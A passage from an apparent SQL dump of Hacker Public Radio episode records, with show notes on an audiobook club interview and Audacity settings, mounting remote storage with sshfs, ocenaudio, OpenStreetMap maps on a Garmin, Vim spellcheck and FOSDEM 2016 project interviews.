GitLab: <a href=\"https://gitlab.com/davmo/hpr-talk\" class=\"uri\">https://gitlab.com/davmo/hpr-talk</a></li>\r\n<li>The <em>Template Toolkit</em> for Perl and Python: <a href=\"https://template-toolkit.org/about.html\" class=\"uri\">https://template-toolkit.org/about.html</a></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','Markdown,Pandoc,ePub,Bash,Perl,FTP',0,0,1),
(1943,'2016-01-13','HPR AudioBook Club 11.5 - Interview with David Collins-Rivera',8866,'The HPR Audiobook Club interviews the author of the latest book we reviewed.','<h3>SUMMARY</h3>\r\n<p>In  this episode, the HPR_AudioBookClub interviews David  Collins-Rivera.</p>\r\n<h3>David\'s Writing</h3>\r\n<ul>\r\n <li> </li>\r\n <li> </li>\r\n</ul>\r\n<h3>David\'s Voice work and Acting</h3>\r\n<ul>\r\n <li> </li>\r\n <li> </li>\r\n</ul>\r\n<p>(summary)</p>\r\n<h3>BEVERAGE REVIEWS</h3>\r\n<p>As   usual, the HPR_AudioBookClub took some time to review the beverages  that each of us were drinking during the episode</p>\r\n<ul>\r\n <li>x1101: Green &amp; Mint tea. Very mellow and refreshing</li>\r\n<li>Thaj: Typical homemade lemonade.  Teeth rotting good :) </li>\r\n <li>pokey: I was drinking a can of Polar Lime Seltzer. I love seltzer, and lime is my favorite flavor. I think that seltzer feels (not tastes!) like cheap beer, and I once used it to help me quit drinking beer. I have since quit quitting beer, but I now I can\'t quit seltzer</li>\r\n <li>lostinbronx: </li>\r\n <li></li>\r\n</ul>\r\n<h3>Things We Talked About</h3>\r\n<p> </p>\r\n<h3>OUR NEXT AUDIOBOOK</h3>\r\n<p><strong>The Call of Cthulhu</strong> by H. P. Lovecraft\r\n <br><a href=\"https://hppodcraft.com/podcasts/TheCallofCthulhu-hppodcraft.mp3\">https://hppodcraft.com/podcasts/TheCallofCthulhu-hppodcraft.mp3</a></p>\r\n<p>pegwole  suggested this AudioBook, and we all thought that horror was a pretty  good selection for our October episode.</p>\r\n<h3>NEXT RECORDING</h3>\r\n<p>Our next book club recording will be 2014/10/14T23:00:00+00:00. <a href=\"https://en.wikipedia.org/wiki/ISO_8601#Times\">https://en.wikipedia.org/wiki/ISO_8601#Times</a>   If you\'d like a Google calendar invite, or if you\'d like to be on the   HPR_AudioBookClub mailing list, please get in contact with us on the  HPR  mailing list \'hpr at hackerpublicradio dot org\'</p>\r\n<h3>OUR AUDIO</h3>\r\n<p>This episode was processed using Audacity <a href=\"https://audacity.sourceforge.net/\">https://audacity.sourceforge.net/</a>.   We\'ve been making small adjustments to our audio mix each month in   order to get the best possible sound. It\'s been especially challenging   getting all of our voices relatively level, because everyone has their   own unique setup. Mumble is great for bringing us all together, and for   recording, but it\'s not good at making everyone\'s voice the same  volume.  We\'re pretty happy with the way this month\'s show turned out,  so we\'d  like to share our editing process and settings with you and our  future  selves (who, of course, will have forgotten all this by  then).</p>\r\n<p>Mumble   uses a sample rate of 48kHz, but HPR requires a sample rate of 44.1kHz   so the first step in our audio process is to resample the file at   44.1kHz. Resampeling can take a long time if you don\'t have a powerful   computer, and sometimes even if you do. If you record late at night,   like we do, you may want to start the task before you go to bed, and   save it first thing in the morning, so that the file is ready to go the   next time you are.</p>\r\n<p>Next we use the \"Compressor\" effect with the following settings:</P>\r\n <ul>\r\n  <li>Threshold: -30db</li>\r\n  <li>Noise Floor: -50db</li>\r\n  <li>Ratio: 3:1</li>\r\n  <li>Attack Time: 0.2sec</li>\r\n  <li>Decay Time: 1.0 sec</li>\r\n  <li>\"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.</li>\r\n </ul>\r\n<p>After   compressing the audio we cut any pre-show and post-show chatter from   the file and save them in a separate file for possible use as outtakes   after the closing music.</p>\r\n<p>At   this point we listen back to the whole file and we work on the   shownotes. This is when we can cut out anything that needs to be cut,   and we can also make sure that we put any links in the shownotes that   were talked about during the recording of the show. We finish the   shownotes before exporting the .aup file to .FLAC so that we can paste  a  copy of the shownotes into the audio file\'s metadata. We use the   \"Truncate Silence\" effect with it\'s default settings to minimize the   silence between people speaking. When used with it\'s default (or at   least reasonable) settings, Truncate Silence is extreemly effective and   satisfying. It makes everyone sound smarter, it makes the file shorter   without destroying actual content, and it makes a conversations sound  as  easy and fluid during playback as it was while it was recorded. It  can  be even more effective if you can train yourself to remain silent   instead of saying \"uuuuummmm.\" Just remember to ONLY pass the file   through Truncate Silence ONCE. If you pass it through a second time, or   if you set it too agressively your audio may sound sped up and   choppy.</p>\r\n<p>At   this point we add new, empty audio tracks into which we paste the   intro, outro and possibly outtakes, and we rename each track   accordingly.</p>\r\n<p>We   adjust the Gain so that the VU meter in Audacity hovers around -12db   while people are speaking, and we try to keep the peaks under -6db, and   we adjust the Gain on each of the new tracks so that all volumes are   similar, and more importantly comfortable. Once this is done we can  \"Mix  and Render\" all of our tracks into a single track for export to  the  .FLAC file which is uploaded to the HPR FTP server.</p>\r\n<p>Remember   to save often when using Audacity. We like to save after each of these   steps. Audacity has a reputation for being \"crashy\" but if you  remember  save after every major transform, you will wonder how it ever  got that  reputation.</p>\r\n<h3>FURTHER RECOMMENDATIONS</h3>\r\n<h3>FEEDBACK</h3>\r\n<p>Thank   you very much for listening to this episode of the HPR_AudioBookClub.   We had a great time recording this show, and we hope you enjoyed it as   well. We also hope you\'ll consider joining us next time. Please leave a   few words in the episode\'s comment section.\r\n <br>As always; remember to visit the HPR contribution page HPR could really use your help right now.</p>\r\n<p><a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a></p>\r\n<p>Sincerely,\r\n <br>The HPR_AudioBookClub</p>\r\n<p>P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.</p>\r\n',157,53,1,'CC-BY-SA','HPR AudioBookClub, Pokey, Thaj, lostnbronx, David Collins-Rivera, X1101, Street Candles',0,0,1),
(1944,'2016-01-14','sshfs - Secure SHell FileSystem',1861,'How to mount remote storage using sshfs','<p>\r\nThis is a topic Ken Fallon has been wanting someone to do for some time, but I didn\'t want to talk about sshfs until the groundwork for ssh in general was laid.  Fortunately, other hosts have recently covered the basics of ssh, so I don\'t have to record a series of episodes just to get to sshfs.\r\n</p>\r\n<p>\r\nFrom the sshfs man page:   SSHFS (Secure SHell FileSystem) is a file system for Linux (and other operating systems with a FUSE implementation, such as Mac OS X  or  FreeBSD)  capable  of operating  on files on a remote computer using just a secure shell login on the remote computer. On the local computer where the SSHFS is mounted,  the  implementation  makes  use  of the FUSE (Filesystem in Userspace) kernel module. The practical effect of this is that the end  user  can  seamlessly  interact  with remote files being securely served over SSH just as if they were local files on his/her computer. On the remote computer the SFTP subsystem of SSH is used.\r\n</p>\r\n<p>\r\nIn short, sshfs offers a dead simple way of mounting remote network volumes from another system on at a specified mount point on your local host, with encrypted data communications.  It\'s perfect for at hoc connections on mobile computers or more permanent links.  This is tutorial is going to be about how I use sshfs, rather than covering every conceivable option. I really think my experience will cover the vast majority of use cases without making things complicated, besides, I don\'t like to discuss options I haven\'t used personally.\r\n</p>\r\n<p>\r\nThere are other ways to mount remote storage, most noteably SAMBA,  but unless you are trying to connect to a Windows share, sshfs is far less trouble to set up, escpecially since most distros come with ssh-server already installed.\r\n</p>\r\n<p>\r\nThe first thing to do when preparing to use sshfs is to create a mountpoint on your local computer.  For most purposes, you should create a folder inside your home folder.  You should plan to leave this folder empty, because sshfs won\'t mount inside a folder that already has files in it.   If I was configuring sshfs on a machine that had multiple users, I might set up a mount point under /media, then put symlinks in every user\'s home folder.\r\n</p>\r\n<p>\r\nThe sshfs command syntax reminds me of many of the other extended commands based ssh, like scp. The basic format is:\r\n<code>sshfs username@&lt;remote_host&gt;:  mountpoint</code>\r\n</p>\r\n<p>\r\nTo put things in a better  perspective, I\'ll use my situation as an example.   My home server is on 192.168.2.153.   If you have a hostname set up,you can use that instead of an IP. For the sake of arguement, my mountpoint for network storage is /home/fifty/storage .  So, I can mount the storage folder on my server using:\r\n</p>\r\n<p>\r\n<code>sshfs fifty@192.168.2.153: /home/fifty/storage</code>\r\n</p>\r\n<p>\r\nBy default, your whole home directory on the remote system will be mounted at your mountpoint.  You may have noticed the colon after the IP address, it is a necessary part of the syntax.  Lets say you don\'t wish to mount your whole remote home folder, perhaps just the subdirectory containing shared storage.  In my case, my server is an Raspberry Pi 2 with a 5Tb external USB drive which is mounted under /home/fifty/storage .  Say, I only want to mount my shared storage, not everything in my home folder, I modify my command to be:\r\n</p>\r\n<p>\r\n<code>sshfs fifty@192.168.2.153:storage /home/fifty/storage</code>\r\n  .or.\r\n<code>sshfs fifty@192.168.2.153:/home/fifty/storage /home/fifty/storage</code>\r\n</p>\r\n<p>\r\nExcept that generally doesn\'t work for me, and I\'ll come to that presently.  The 5Tb USB drive on the server isn\'t actually mounted in my home folder, it automounts under /media.  The directory /home/fifty/storage on the server is actually a symlink to the actual mountpoint under /media.  To make sshfs follow symlinks, you need to add the option \'-o follow_symlinks\', so now my sshfs command looks like:\r\n</p>\r\n<p>\r\n<code>sshfs fifty@192.168.2.153: /home/fifty/storage -o follow_symlinks</code>\r\n</p>\r\n<p>\r\nYou may have noticed, the \"-o\" switch comes at end the end of the command.  Usually switches come right after the command, and before the arguements.  \r\n</p>\r\n<p>\r\nThis will allow sshfs to navigate symlinks, but I\'ve discovered not all distros are comfortable using a symlink as the top levelfolder in a sshfs connection.  For example, in Debian Wheezy, I could do:\r\n</p>\r\n<p>\r\n<code>sshfs fifty@192.168.2.153:storage /home/fifty/storage -o follow_symlinks</code>\r\n</p>\r\n<p>\r\nOther distros, Ubuntu, Mint, Fedora so far don\'t like to connect to a symlink at the top level.  For those distros, I need to use:\r\n</p>\r\n<p>\r\n<code>sshfs fifty@192.168.2.153: /home/fifty/storage -o follow_symlinks</code>\r\n</p>\r\n<p>\r\nand walk my way down to storage.\r\n</p>\r\n<p>\r\nOther related options and commands I haven\'t used but you may be interested in include -p , for Port.  Lets say the remote server you want to mount is not on your local network, but a server out on the Internet, it probably won\'t be on the default ssh port.  Syntax in this case might look like:\r\n</p>\r\n<p>\r\n<code>sshfs -p 1022 fifty@142.168.2.153:storage /home/fifty/storage -o follow_symlinks</code>\r\n</p>\r\n<p>\r\nReading the man page, I also find \"-o allow_root\" which is described as \"allow access to root\" .  I would expect, combined with a root login, this would mount all of the storage on the remote system, not just a user\'s home directory, but without direct expertience, Iwouldn\'t care to speculate further. \r\n</p>\r\n<p>\r\nThe mount can be broken with <code>\'fusermount -u &lt;mountpoint&gt;\'</code>. \r\n</p>\r\n<p>\r\nAt this point, I could explain to you how to modify /etc/fstab to automatically mount a sshfs partition. The trouble is, /etc/fstab is processed for local storage before any network connections are made.   Unless you want to modify the order in which services are enabled, no remote storage will ever be available when /etc/fstab is processed.  It makes far more sense to encapsulate your sshfs command inside a script file and either have it autoloaded with your desktop manager or manually loaded when needed from a terminal.\r\n</p>\r\n<p>\r\nOne thing to watch out for, is saving files to the mountpoint when the remote storage is not actually mounted, i.e., you save to a default path under a mountpoint you expect to be mounted and is not, so all the sudden you have files in a folder that is supposed to be empty.  To remount the remote storage, you have to delete/move the paths created at your designated mountpoint, to leave a pristeen, empty folder again.\r\n</p>\r\n<p>\r\nWeihenstephaner Vitus - The label says it\'s a Weizenbock, so we know its a strong, wheat based lager\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://us.weihenstephaner.com/en/our-beers/?slide=Vitus#slider-beer-main\">https://us.weihenstephaner.com/en/our-beers/?slide=Vitus#slider-beer-main</a>\r\n</li>\r\n<li><a href=\"https://www.beeradvocate.com/beer/profile/252/35625/\">https://www.beeradvocate.com/beer/profile/252/35625/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nIBU 17  ABV 7.7%\r\n</p>',131,0,1,'CC-BY-SA','sshfs, shell commands',0,0,1),
(1947,'2016-01-19','ocenaudio ',691,'ocenaudio is a cross-platform, easy to use, fast and functional audio editor.','<p>\r\nocenaudio is a cross-platform, easy to use, fast and functional audio editor. It is the ideal software for people who need to edit and analyze audio files without complications. ocenaudio also has powerful features that will please more advanced users.\r\n</p>\r\n<p>\r\nocenaudio supports VST (Virtual Studio Technology) plugins, giving its users access to numerous effects. Like the native effects, VST effects can use real-time preview to aide configuration.\r\n</p>\r\n\r\n<h3>LOSTNBRONX</h3>\r\n\r\n<p>\r\n<a href=\"https://www.cavalcadeaudio.com\">https://www.cavalcadeaudio.com</a>\r\n</p>\r\n\r\n<h3>OCENAUDIO</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://ocenaudio.com.br/\">https://ocenaudio.com.br/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nThere\'s not much documentation out there for Ocenaudio. Here are a couple links to articles that might help:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://nathanghall.wordpress.com/2015/02/10/audacity-vs-ocenaudio-comparing-free-audio-editor-programs/\">https://nathanghall.wordpress.com/2015/02/10/audacity-vs-ocenaudio-comparing-free-audio-editor-programs/</a>\r\n</li>\r\n<li><a href=\"https://www.addictivetips.com/windows-tips/ocenaudio-analyze-and-edit-audio-files-across-different-platforms/\">https://www.addictivetips.com/windows-tips/ocenaudio-analyze-and-edit-audio-files-across-different-platforms/</a>\r\n</li>\r\n<li><a href=\"https://www.ghacks.net/2014/06/30/ocenaudio-easy-use-audacity-audio-editor-alternative/\">https://www.ghacks.net/2014/06/30/ocenaudio-easy-use-audacity-audio-editor-alternative/</a>\r\n</li>\r\n</ul>',107,0,1,'CC-BY-SA','audio editor,ocenaudio,VST',0,0,1),
(1955,'2016-01-29','Install Open Street Map on a Garmin 60CX',1238,'David Whitman installs an Open Street Map of Hawaii on a Garmin 60CX. Yipee for Free.','<ol>\r\n<li>First go to this site:  <a href=\"https://garmin.openstreetmap.nl/\">https://garmin.openstreetmap.nl/</a>\r\n</li>\r\n<li>Then select your map type\r\n</li>\r\n<li>Select and download the predefined area or tiles you want. You can download it directly or have the web page build it for you by entering your email address and pushing the button BUILD MY MAP.\r\n<br />\r\na) If you choose the email option then you get an email that the map is being built and another (later on) that the map is ready.\r\n</li>\r\n<li>Unzip the file\r\n</li>\r\n<li>Rename the downloaded map to gmapsupp.img \r\n</li>\r\n<li>Save your old map (that\'s on your device) entitled  to a different name and then backup\r\n</li>\r\n<li>Put the map you unzipped and renamed in its place and make sure it is renamed to \'gmapsupp.img\' (omit the single quotes I have used in these show notes)\r\n</li>\r\n<li>Use your device and thank OSM\r\n</li>\r\n</ol>\r\n\r\n<p>\r\nReasons why I like OSM for use on my Garmin 60CX and Garmin E-trex Vista\r\n</p>\r\n<p>\r\nOSM maps have more data for my area than the Garmin supplied map World Wide maps are available. See where Peter64, Ken Fallon or even 5150 lives. It\'s cheaper than buying a commercial map Trails, points and other improvements I put on OSM can be on my map I like the OSM concept and community.\r\n</p>\r\n<p>\r\nThese older GPS\'s can be purchased for bargain prices. Apparently the suction cup receiver - Garmin Windshield devices can also use OSM maps with other free software.\r\n</p>\r\n',209,0,1,'CC-BY-SA','Open Street Map, OSM, Navigation, Fun',0,0,1),
(1948,'2016-01-20','Check Your Spelling in Vim',699,'Frank summarizes how to use spellcheck in VIM','<p>\r\nFrank Bell describes how to check your spelling in the Vim editor and to create\r\nyour own wordlist.\r\n</p>\r\n<p>\r\nFrank\'s ~/.vimrc file:\r\n</p>\r\n<pre>\r\nset ruler laststatus=2 number title hlsearch\r\nsyntax on\r\nset textwidth=80\r\nset spell spelllang=en_us\r\nset spellfile=$HOME/.Vim/spell/en.utf-8.add\r\n</pre>\r\n\r\n<h3>Illustrations:</h3>\r\n\r\n<p>\r\nText file in Vim with spellcheck enabled:\r\n</p>\r\n\r\n<a href=\"https://www.pineviewfarm.net/weblog/wp-content/uploads/2015/12/Vim-hilite.png\" >\r\n<img src=\"https://www.pineviewfarm.net/weblog/wp-content/uploads/2015/12/Vim-hilite.png\" alt=\"A screen shot of a text document opened in VIM with mis-spelled words highlighted in a different color\" />\r\n</a>\r\n\r\n<p>\r\nVim \"choose the right word\" list:\r\n</p>\r\n<a href=\"https://www.pineviewfarm.net/weblog/wp-content/uploads/2015/12/Vim-wordlist.png\">\r\n<img src=\"https://www.pineviewfarm.net/weblog/wp-content/uploads/2015/12/Vim-wordlist.png\" \r\nalt=\"Vim options showing the text change ESC to and then providing a long list of alternatives. At the bottom you are asked to fill in the number of the alternative you wish to use\"/>\r\n</a>\r\n\r\n<h3>Links:</h3>\r\n<ul>\r\n<li>Excellent introductory tutorial:  <a href=\"https://thejakeharding.com/tutorial/2012/06/13/using-spell-check-in-vim.html\">https://thejakeharding.com/tutorial/2012/06/13/using-spell-check-in-vim.html</a></li>\r\n<li>Vim\'s own documentation: <a href=\"https://Vimdoc.sourceforge.net/htmldoc/spell.html\">https://Vimdoc.sourceforge.net/htmldoc/spell.html</a></li>\r\n<li>Linux Voice Vim tutorial (PDF):  <a href=\"https://www.linuxvoice.com/issues/001/vim.pdf\">https://www.linuxvoice.com/issues/001/vim.pdf</a></li>\r\n<li>Linux Voice Vim video:  <a href=\"https://www.linuxvoice.com/learn-to-love-vim/\">https://www.linuxvoice.com/learn-to-love-vim/</a></li>\r\n</ul>',195,82,1,'CC-BY-SA','Vim,spellcheck',0,0,1),
(1957,'2016-02-02','FOSDEM 2016 K building level 1 Group B and C',7735,'CAcert DRLM Gluster oVirt OpenVZ FSFE ReactOS BAREOS Debian PostgreSQL OpenMandriva Mageia Gentoo ','<h1>Table of Contents</h1>\r\n\r\n<ul>\r\n<li><a href=\"#CAcert\">CAcert</a></li>\r\n<li><a href=\"#DRLM\">DRLM</a></li>\r\n<li><a href=\"#Gluster\">Gluster</a></li>\r\n<li><a href=\"#oVirt\">oVirt</a></li>\r\n<li><a href=\"#OpenVZ\">OpenVZ</a></li>\r\n<li><a href=\"#FSFE\">FSFE</a></li>\r\n<li><a href=\"#ReactOS\">ReactOS</a></li>\r\n<li><a href=\"#BAREOS\">BAREOS</a></li>\r\n<li><a href=\"#Debian\">Debian</a></li>\r\n<li><a href=\"#PostgreSQL\">PostgreSQL</a></li>\r\n<li><a href=\"#OpenMandriva\">OpenMandriva</a></li>\r\n<li><a href=\"#Mageia\">Mageia</a></li>\r\n<li><a href=\"#Gentoo\">Gentoo</a></li>\r\n</ul>\r\n<h2 id=\"CAcert\" >CAcert</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://www.cacert.org/images/cacert4.png\" /></p>\r\n<blockquote cite=\"https://www.cacert.org/\">\r\nCAcert.org is a community driven Certificate Authority that issues certificates to the public at large for free. CAcert\'s goal is to promote awareness and education on computer security through the use of encryption, specifically with the X.509 family of standards. We have compiled a document base (Wiki) that has helpful hints and tips on setting up encryption with common software, and general information about Public Key Infrastructures (PKI). CAcert Inc. is a non-profit association, incorporated in New South Wales, Australia.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Reinhard Mutz Organisation Assurer</h3>\r\n\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.ogg#t=76.679813,765.893564\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.ogg#t=76.679813,765.893564\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.cacert.org/\">https://www.cacert.org/</a></li>\r\n<li>Personal Website: <a href=\"https://wiki.cacert.org/ReinhardMutz\">https://wiki.cacert.org/ReinhardMutz</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/CAcert_News\">@CAcert_News</a></li>\r\n<li>email: <a href=\"mailto:reinhard.nospam@nospam.cacert.org\">reinhard.nospam@nospam.cacert.org</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/CAcert/\">https://www.facebook.com/CAcert/</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/u/0/117081703972254991731/posts\">https://plus.google.com/u/0/117081703972254991731/posts</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/CAcert.org\">https://en.wikipedia.org/wiki/CAcert.org</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/groups/89248/profile\">https://www.linkedin.com/groups/89248/profile</a></li>\r\n<li>Michael Tänzer <a href=\"https://hackerpublicradio.org/eps.php?id=1447\">hpr1447 :: HPR Coverage at FOSDEM 2014 Part 1/5</a></li>\r\n</ul>\r\n<h2 id=\"DRLM\" >DRLM</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://drlm.org/wp-content/uploads/2014/12/logo-e1419852348704.png\"/></p>\r\n<blockquote cite=\"https://drlm.org/about/\">\r\nDRLM  (Disaster Recovery Linux Manager). DRLM is a Centralized Management Open Source solution for small-to-large Disaster Recovery implementations using ReaR. Is an easy-to-use software to manage your growing ReaR infrastructure. Is written in the bash language (like ReaR) and offers all needed tools to efficiently manage your GNU/Linux disaster recovery backups, reducing Disaster Recovery management costs. ReaR is great solution, but when we’re dealing with hundreds of systems, could be complex to manage well all ReaR deployments.\r\n<br />\r\nWith DRLM you can, easily and centrally, deploy and manage ReaR installations for all your GNU/Linux systems in your DataCenter(s). DRLM is able to manage all required services (TFTP, DHCP-PXE, NFS, …) with no need of manual services configuration. Only with few easy commands, the users will be able to create, modify and delete ReaR clients and networks, providing an easy way to boot and recover your GNU/Linux systems through network with ReaR. Furthermore DRLM acts as a central scheduling system for all ReaR installations. Is able to start rear backups remotely and store the rescue-boot/backup in DR images easily managed by DRLM.\r\n<br />\r\nYou can easily enable or disable the last or any previous backups to restore any client with a single command line. Currently DRLM supports PXE and NETFS(nfs) OUTPUT/BACKUP methods of ReaR, but the Development of DRLM non stops here, we are working on new 2.0 version with new features to improve performance, usability and more ReaR methods, in order to become, together with ReaR, the reference when talking about Disaster Recovery of GNU/Linux systems.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Ruben Carbonell Perez</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrinknp_400_400/p/2/005/072/1cc/295c6fd.jpg\"/></p>\r\n<p><audio controls preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.ogg#t=765.893564,1063.706269\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.mp3#t=765.893564,1063.706269\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://drlm.org/\">https://drlm.org/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/drlm_org\">@drlm_org</a></li>\r\n<li>email: <a href=\"mailto:ruben.nospam@nospam.brainupdaters.net\">ruben.nospam@nospam.brainupdaters.net</a>, <a href=\"mailto:ruben.carbonell.nospam@nospam.gmail.com\">ruben.carbonell.nospam@nospam.gmail.com</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/ruben-carbonell-perez-6b04a174\">https://www.linkedin.com/in/ruben-carbonell-perez-6b04a174</a></li>\r\n<li>Relax and Recover: <a href=\"https://relax-and-recover.org/\">https://relax-and-recover.org/</a></li>\r\n</ul>\r\n<h2 id=\"Gluster\" >Gluster</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://www.gluster.org/images/antmascot.png?1432254431\"/></p>\r\n<blockquote cite=\"https://www.gluster.org/\">\r\nGlusterFS is a scalable network filesystem. Using common off-the-shelf hardware, you can create large, distributed storage solutions for media streaming, data analysis, and other data- and bandwidth-intensive tasks. GlusterFS is free and open source software.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Niels de Vos, and Humble Devassy Chirammal</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrinknp_400_400/p/7/000/278/252/2f40ab7.jpg\"/>\r\n<img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrinknp_400_400/p/6/000/2af/3a9/0cca281.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.ogg#t=1063.706269,1836.836403\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.mp3#t=1063.706269,1836.836403\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.gluster.org/\">https://www.gluster.org/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/gluster\">@gluster</a></li>\r\n<li>email: <a href=\"mailto:ndevos.nospam@nospam.redhat.com\">ndevos.nospam@nospam.redhat.com</a> (Niels de Vos)</li>\r\n<li>email: <a href=\"mailto:hchiramm.nospam@nospam.redhat.com\">hchiramm.nospam@nospam.redhat.com</a> (Humble Devassy Chirammal)</li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/GlusterInc\">https://www.facebook.com/GlusterInc</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/communities/110022816028412595292\">https://plus.google.com/communities/110022816028412595292</a></li>\r\n<li>Freenode: <a href=\"irc://irc.freenode.net/#gluster\">irc://irc.freenode.net/#gluster</a></li>\r\n</ul>\r\n<h2 id=\"oVirt\" >oVirt</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://upload.wikimedia.org/wikipedia/commons/7/7d/OVirt-logo-highres.png\"/></p>\r\n<blockquote cite=\"https://www.ovirt.org/Home\">\r\noVirt manages virtual machines, storage and virtualized networks. oVirt is a virtualization platform with an easy-to-use web interface. oVirt is powered by the Open Source you know - KVM on Linux.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Yaniv Kaul</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrinknp_400_400/p/2/000/0ab/2dc/1b792ac.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.ogg#t=1836.836403,2087.402654\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.mp3#t=1836.836403,2087.402654\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.ovirt.org/Home\">https://www.ovirt.org/Home</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/YanivKaul\">@YanivKaul</a>, <a href=\"https://twitter.com/ovirt\">@ovirt</a></li>\r\n<li>email: <a href=\"mailto:ykaul.nospam@nospam.redhat.com\">ykaul.nospam@nospam.redhat.com</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/OVirt\">https://en.wikipedia.org/wiki/OVirt</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/ykaul\">https://www.linkedin.com/in/ykaul</a></li>\r\n<li>Daniel Lobato and Doran Fedu <a href=\"https://hackerpublicradio.org/eps.php?id=1452\">hpr1452 :: HPR Coverage at FOSDEM 2014 Part 3</a></li>\r\n</ul>\r\n<h2 id=\"OpenVZ\" >OpenVZ</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/b/bb/OpenVZ-logo.png/800px-OpenVZ-logo.png\"/></p>\r\n<blockquote cite=\"https://openvz.org/Main_Page\">\r\nOpenVZ is a container-based virtualization for Linux. OpenVZ creates multiple secure, isolated Linux containers (otherwise known as VEs or VPSs) on a single physical server enabling better server utilization and ensuring that applications do not conflict. Each container performs and executes exactly like a stand-alone server; a container can be rebooted independently and have root access, users, IP addresses, memory, processes, files, applications, system libraries and configuration files.\r\n<br />\r\nOpenVZ is free open source software, available under GNU GPL.\r\n<br />\r\nOpenVZ is the basis of Virtuozzo, a virtualization solution offered by Virtuozzo company. Virtuozzo is optimized for hosters and offers hypervisor (VMs in addition to containers), distributed cloud storage, dedicated support, management tools, and easy installation.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Pavel Emelyanov</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://avatars1.githubusercontent.com/u/4498177?v=3&s=460\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.ogg#t=2087.402654,2802.083565\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.mp3#t=2087.402654,2802.083565\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://openvz.org/Main_Page\">https://openvz.org/Main_Page</a></li>\r\n<li>email: <a href=\"mailto:xemul.nospam@nospam.parallels.com\">xemul.nospam@nospam.parallels.com</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/OpenVZ\">https://en.wikipedia.org/wiki/OpenVZ</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/pavel-emelyanov-24773a5\">https://www.linkedin.com/in/pavel-emelyanov-24773a5</a></li>\r\n</ul>\r\n<h2 id=\"FSFE\" >FSFE</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://upload.wikimedia.org/wikipedia/en/thumb/f/fc/Free_Software_Foundation_Europe%2C_logo.svg/320px-Free_Software_Foundation_Europe%2C_logo.svg.png\"/></p>\r\n<blockquote cite=\"https://fsfe.org/about/about.en.html\">\r\nFree Software Foundation Europe is a charity that empowers users to control technology. Software is deeply involved in all aspects of our lives; and it is important that this technology empowers rather than restricts us. Free Software gives everybody the rights to use, understand, adapt and share software. These rights help support other fundamental freedoms like freedom of speech, press and privacy.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Matthias Kirschner</h3>\r\n\r\n<p><img alt=\"headshot\" 